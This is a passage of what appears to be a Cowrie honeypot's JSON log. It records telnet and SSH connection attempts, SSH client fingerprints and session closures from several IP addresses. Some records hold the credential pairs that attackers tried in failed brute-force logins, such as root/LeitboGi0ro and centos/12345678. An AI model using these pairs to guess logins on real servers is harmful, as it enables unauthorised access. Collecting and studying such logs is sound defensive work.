{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":53668,"dst_ip":"159.203.135.109","dst_port":23,"session":"23737ceca0bd","protocol":"telnet","message":"New connection: 161.97.124.15:53668 (159.203.135.109:23) [session: 23737ceca0bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:21.321153Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":54572,"dst_ip":"159.203.135.109","dst_port":23,"session":"afd252275e0d","protocol":"telnet","message":"New connection: 161.97.124.15:54572 (159.203.135.109:23) [session: afd252275e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:21.745804Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:22.563446Z","src_ip":"176.65.139.103","session":"314afe0e4ac0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":59674,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6c5062c90ff","protocol":"telnet","message":"New connection: 161.97.124.15:59674 (159.203.135.109:23) [session: d6c5062c90ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:24.237454Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":60286,"dst_ip":"159.203.135.109","dst_port":23,"session":"e4a0b261011e","protocol":"telnet","message":"New connection: 161.97.124.15:60286 (159.203.135.109:23) [session: e4a0b261011e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:24.484258Z"}
{"eventid":"cowrie.session.closed","duration":30.15824794769287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:25.088377Z","src_ip":"161.97.124.15","session":"2f6dea7dbb86","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":33970,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1b14cc139aa","protocol":"telnet","message":"New connection: 161.97.124.15:33970 (159.203.135.109:23) [session: a1b14cc139aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:25.494048Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":35634,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0607da9599e","protocol":"telnet","message":"New connection: 161.97.124.15:35634 (159.203.135.109:23) [session: b0607da9599e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:26.256419Z"}
{"eventid":"cowrie.session.closed","duration":30.93955898284912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:26.440022Z","src_ip":"161.97.124.15","session":"f37f58fdee39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37106,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1bf4eace0cd","protocol":"telnet","message":"New connection: 161.97.124.15:37106 (159.203.135.109:23) [session: b1bf4eace0cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:26.815382Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":38184,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7e7b20d03c4","protocol":"telnet","message":"New connection: 161.97.124.15:38184 (159.203.135.109:23) [session: b7e7b20d03c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:27.264731Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":45152,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfad418d5313","protocol":"ssh","message":"New connection: 176.65.139.103:45152 (10.17.0.5:22) [session: dfad418d5313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:29.017050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:29.021987Z","src_ip":"176.65.139.103","session":"dfad418d5313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:29.104299Z","src_ip":"176.65.139.103","session":"dfad418d5313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx","message":"login attempt [nginx/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:29.363627Z","src_ip":"176.65.139.103","session":"dfad418d5313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:30.477938Z","src_ip":"176.65.139.103","session":"dfad418d5313","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":48366,"dst_ip":"159.203.135.109","dst_port":23,"session":"851828881bc9","protocol":"telnet","message":"New connection: 161.97.124.15:48366 (159.203.135.109:23) [session: 851828881bc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:32.411056Z"}
{"eventid":"cowrie.session.closed","duration":31.50109100341797,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:32.968377Z","src_ip":"161.97.124.15","session":"2d6440aebf7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":43428,"dst_ip":"10.17.0.5","dst_port":22,"session":"737579a4fb89","protocol":"ssh","message":"New connection: 202.184.144.220:43428 (10.17.0.5:22) [session: 737579a4fb89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:32.990666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:32.994476Z","src_ip":"202.184.144.220","session":"737579a4fb89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:33.237348Z","src_ip":"202.184.144.220","session":"737579a4fb89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":49197,"dst_ip":"10.17.0.5","dst_port":22,"session":"54afd3c2593f","protocol":"ssh","message":"New connection: 52.231.220.210:49197 (10.17.0.5:22) [session: 54afd3c2593f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:33.643036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:33.647490Z","src_ip":"52.231.220.210","session":"54afd3c2593f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:33.850938Z","src_ip":"52.231.220.210","session":"54afd3c2593f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aaa111...","message":"login attempt [root/aaa111...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:34.243582Z","src_ip":"202.184.144.220","session":"737579a4fb89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"centos","password":"12345678","message":"login attempt [centos/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:34.663741Z","src_ip":"52.231.220.210","session":"54afd3c2593f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":53034,"dst_ip":"159.203.135.109","dst_port":23,"session":"59ce05e7a038","protocol":"telnet","message":"New connection: 161.97.124.15:53034 (159.203.135.109:23) [session: 59ce05e7a038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:34.713027Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":54846,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bd80b15f196","protocol":"telnet","message":"New connection: 161.97.124.15:54846 (159.203.135.109:23) [session: 2bd80b15f196]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:35.478355Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:35.488659Z","src_ip":"202.184.144.220","session":"737579a4fb89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:35.861612Z","src_ip":"52.231.220.210","session":"54afd3c2593f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49824,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdc9afa6a53c","protocol":"ssh","message":"New connection: 176.65.139.103:49824 (10.17.0.5:22) [session: cdc9afa6a53c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:36.386237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:36.390931Z","src_ip":"176.65.139.103","session":"cdc9afa6a53c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:36.472335Z","src_ip":"176.65.139.103","session":"cdc9afa6a53c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":57254,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bc60cc62d68","protocol":"telnet","message":"New connection: 161.97.124.15:57254 (159.203.135.109:23) [session: 4bc60cc62d68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:36.619758Z"}
{"eventid":"cowrie.login.failed","username":"prakash","password":"prakash123","message":"login attempt [prakash/prakash123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:36.918997Z","src_ip":"176.65.139.103","session":"cdc9afa6a53c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":58638,"dst_ip":"159.203.135.109","dst_port":23,"session":"4601ca78d711","protocol":"telnet","message":"New connection: 161.97.124.15:58638 (159.203.135.109:23) [session: 4601ca78d711]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:37.330948Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:38.018114Z","src_ip":"176.65.139.103","session":"cdc9afa6a53c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.61449670791626,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:38.087393Z","src_ip":"161.97.124.15","session":"5a72dfa55d46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12402367591858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:40.188485Z","src_ip":"161.97.124.15","session":"1ff6c4d22084","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":37014,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9984daae753","protocol":"telnet","message":"New connection: 161.97.124.15:37014 (159.203.135.109:23) [session: b9984daae753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:40.452875Z"}
{"eventid":"cowrie.session.closed","duration":30.666958332061768,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:41.080427Z","src_ip":"161.97.124.15","session":"66d6c5cbba64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.001810789108276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:41.522103Z","src_ip":"161.97.124.15","session":"9bf2be12c5b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46230459213257,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:42.138999Z","src_ip":"161.97.124.15","session":"39e38803464b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98041081428528,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:43.249743Z","src_ip":"161.97.124.15","session":"611ce18c2696","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42432,"dst_ip":"10.17.0.5","dst_port":22,"session":"06ec4b5d410b","protocol":"ssh","message":"New connection: 176.65.139.103:42432 (10.17.0.5:22) [session: 06ec4b5d410b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:43.487015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:43.491159Z","src_ip":"176.65.139.103","session":"06ec4b5d410b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:43.572761Z","src_ip":"176.65.139.103","session":"06ec4b5d410b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"LeitboGi0ro","message":"login attempt [root/LeitboGi0ro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:43.820087Z","src_ip":"176.65.139.103","session":"06ec4b5d410b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:45.027032Z","src_ip":"176.65.139.103","session":"06ec4b5d410b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.404693365097046,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:45.061959Z","src_ip":"161.97.124.15","session":"e107b7ae9580","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.791517972946167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:46.073658Z","src_ip":"161.97.124.15","session":"8ae2d307c169","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":50350,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c90fde1bf6c","protocol":"telnet","message":"New connection: 161.97.124.15:50350 (159.203.135.109:23) [session: 9c90fde1bf6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:46.267666Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44662,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7daba28a15a","protocol":"ssh","message":"New connection: 159.203.92.129:44662 (159.203.135.109:22) [session: d7daba28a15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:46.881459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:55:46.891549Z","src_ip":"159.203.92.129","session":"d7daba28a15a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-